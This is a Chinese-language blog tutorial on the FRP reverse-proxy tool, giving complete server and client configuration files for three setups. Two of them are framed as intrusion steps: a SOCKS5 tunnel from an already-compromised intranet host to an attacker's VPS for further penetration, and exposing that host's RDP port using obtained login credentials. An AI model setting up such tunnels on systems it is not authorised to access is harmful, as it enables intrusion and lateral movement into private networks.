Fork me on GitHub

FRP的使用

 

FRP

FRP(Fast Reverse Proxy) 是一款简单,好用,稳定的隧道工具。FRP 使用 Go 语言开发,它是一款高性能的反向代理应用,可以轻松地进行内网穿透,对外网提供服务。FRP 支持 TCP、UDP、KCP、HTTP、HTTPS等协议类型,并且支持 Web 服务根据域名进行路由转发。在进行内网渗透中,FRP是常用的一款隧道工具。

使用FRP建立隧道

现在有这么一个场景,获得了一个位于内网的通过NAT方式对外提供服务的主机的权限,现在我们需要对其所在的内网继续进行渗透。于是,需要通过FRP建立一个隧道,让我们的主机可以通过隧道访问其内网。

服务端

我们的vps作为服务端,服务端启动:frps.exe  -c  frps.ini    ,服务端的配置  frps.ini  如下

  1.  
    [common]
  2.  
    bind_addr = 0.0.0.0 #绑定的ip,为本机
  3.  
    bind_port = 17000 #绑定的端口
  4.  
    dashboard_addr = 0.0.0.0 #管理地址
  5.  
    dashboard_port = 27500 #管理端口
  6.  
    dashboard_user = root #管理的用户名
  7.  
    dashboard_pwd = 123456 #管理用户的密码
  8.  
    token = 1q2w3e #客户端服务端连接的密码
  9.  
    heartbeat_timeout = 90 #心跳超时时间
  10.  
    max_pool_count = 5 #最大同时连接数

客户端

被控的主机作为客户端,客户端启动:frpc.exe  -c  frpc.ini ,客户端的配置文件 frpc.ini  如下

  1.  
    [common]
  2.  
    server_addr = 100.20.14.14
  3.  
    server_port = 17000 #服务器绑定的端口
  4.  
    token = 1q2w3e #连接的密码
  5.  
    pool_count = 5
  6.  
    protocol = tcp #协议类型
  7.  
    health_check_type = tcp
  8.  
    health_check_interval_s = 100
  9.  
    [test]
  10.  
    remote_port = 10000 #代理的端口
  11.  
    plugin = socks5 #使用的协议
  12.  
    use_encryption = true #是否加密
  13.  
    use_compression = true
  14.  
    plugin_user= admin #socks5用户名
  15.  
    plugin_passwd= admin #socks5密码

访问  http://100.20.14.14:27500  ,用  root   123456 登录, 查看TCP。说明隧道搭建完成

本机设置代理: socks5   100.20.14.14   10000

使用FRP映射Web服务

现在有这么一个场景,位于内网的主机需要对外提供Web服务,于是将内网主机的80端口映射到公网主机的80端口上

服务端

位于公网的主机作为服务端,服务端启动:frps.exe  -c  frps.ini    ,服务端的配置  frps.ini  如下

  1.  
    [common]
  2.  
    bind_addr = 0.0.0.0 #绑定的ip,为本机
  3.  
    bind_port = 17000 #绑定的端口
  4.  
    dashboard_addr = 0.0.0.0 #管理地址
  5.  
    dashboard_port = 27500 #管理端口
  6.  
    dashboard_user = root #管理的用户名
  7.  
    dashboard_pwd = 123456 #管理用户的密码
  8.  
    token = 1q2w3e #客户端服务端连接的密码
  9.  
    heartbeat_timeout = 90 #心跳超时时间

客户端

位于内网的主机作为客户端,客户端启动:frpc.exe  -c  frpc.ini ,客户端的配置文件 frpc.ini  如下

  1.  
    [common]
  2.  
    server_addr = 100.20.14.14
  3.  
    server_port = 17000 #服务器绑定的端口
  4.  
    token = 1q2w3e #连接的密码
  5.  
    [HTTP]
  6.  
    type=tcp
  7.  
    local_ip = 127.0.0.1 #本地ip地址
  8.  
    local_port = 80 #要映射的本地端口
  9.  
    remote_port = 80 #要映射的服务端端口
  10.  
    custom_domains=www.test.com #这个必须要写

访问  http://100.20.14.14:27500  ,用  root   123456 登录, 查看TCP。说明隧道搭建完成

然后访问http://100.20.14.14 就是相当于访问位于内网的主机 http://192.168.10.10 了

使用FRP映射3389端口

现在有这么一个场景,我们获得了位于内网的一台主机的权限,并且知道了他的登录用户名和密码。他的3389端口只对内网开放,现在我们需要将该主机的3389端口映射到公网我们的VPS的3389端口,那样,我们连接我们VPS的3389端口就相当于连接内网主机的3389端口了

服务端

位于公网的VPS作为服务端,服务端启动:frps.exe  -c  frps.ini    ,服务端的配置  frps.ini   如下:

  1.  
    [common]
  2.  
    bind_addr = 0.0.0.0 #绑定的ip,为本机
  3.  
    bind_port = 17000 #绑定的端口
  4.  
    dashboard_addr = 0.0.0.0 #管理地址
  5.  
    dashboard_port = 27500 #管理端口
  6.  
    dashboard_user = root #管理的用户名
  7.  
    dashboard_pwd = 123456 #管理用户的密码
  8.  
    token = 1q2w3e #客户端服务端连接的密码
  9.  
    heartbeat_timeout = 90 #心跳超时时间

客户端

位于内网的主机作为客户端,客户端启动:frpc.exe  -c  frpc.ini ,客户端的配置文件 frpc.ini   如下:

  1.  
    [common]
  2.  
    server_addr = 100.20.14.14
  3.  
    server_port = 17000
  4.  
    token = 1q2w3e
  5.  
    [test]
  6.  
    type=tcp
  7.  
    local_ip = 127.0.0.1
  8.  
    local_port = 3389
  9.  
    remote_port = 3389

访问  http://100.20.14.14:27500  ,用  root   123456 登录, 查看TCP。说明隧道搭建完成

远程连接100.20.14.14的3389端口即可。

注:使用FRP映射其他服务,例如SSH、Mysql、Redis等服务都是和映射web、RDP服务一样,修改一下要映射的端口即可。

posted @ 2021-01-27 14:13  todayisbeautyful  阅读(540)  评论(0)    收藏  举报
1